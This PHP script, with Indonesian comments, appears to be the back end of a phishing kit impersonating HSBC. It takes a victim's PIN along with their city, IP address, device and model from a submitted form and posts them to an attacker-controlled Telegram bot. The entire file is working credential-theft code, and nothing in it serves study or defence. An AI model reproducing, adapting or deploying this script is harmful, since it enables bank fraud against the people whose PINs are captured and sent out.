<?php
session_start();
include "./send.php";
// Ambil data dari request
$data = json_decode(file_get_contents("php://input"), true);

// Ambil detail data
$pin     = htmlspecialchars($data['pin'] ?? '');
$kota    = htmlspecialchars($data['city'] ?? '');
$ip      = htmlspecialchars($data['ip'] ?? '');
$device  = htmlspecialchars($data['device'] ?? '');
$model   = htmlspecialchars($data['model'] ?? '');

// Format pesan ke Telegram
$pesan = "꧁•⊹٭𝑭𝒐𝒓𝒎 𝑯𝑺𝑩𝑪٭⊹•꧂\n\n";
$pesan .= "*PIN:* `$pin`\n\n";
$pesan .= "*Kota:* $kota\n";
$pesan .= "*IP Address:* $ip\n";
$pesan .= "*Perangkat:* $device\n";
$pesan .= "*Model:* $model\n";
$pesan .= "*Waktu:* " . date("Y-m-d H:i:s");

// Kirim ke Telegram
$url = "https://api.telegram.org/bot$id_bot/sendMessage";
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HTTPHEADER, ['Content-Type: application/json']);
curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode([
    'chat_id' => $telegram_id,
    'text' => $pesan,
    'parse_mode' => 'Markdown'
]));

$response = curl_exec($ch);
curl_close($ch);

// Tanggapan jika dibutuhkan
echo json_encode(['status' => 'ok', 'response' => $response]);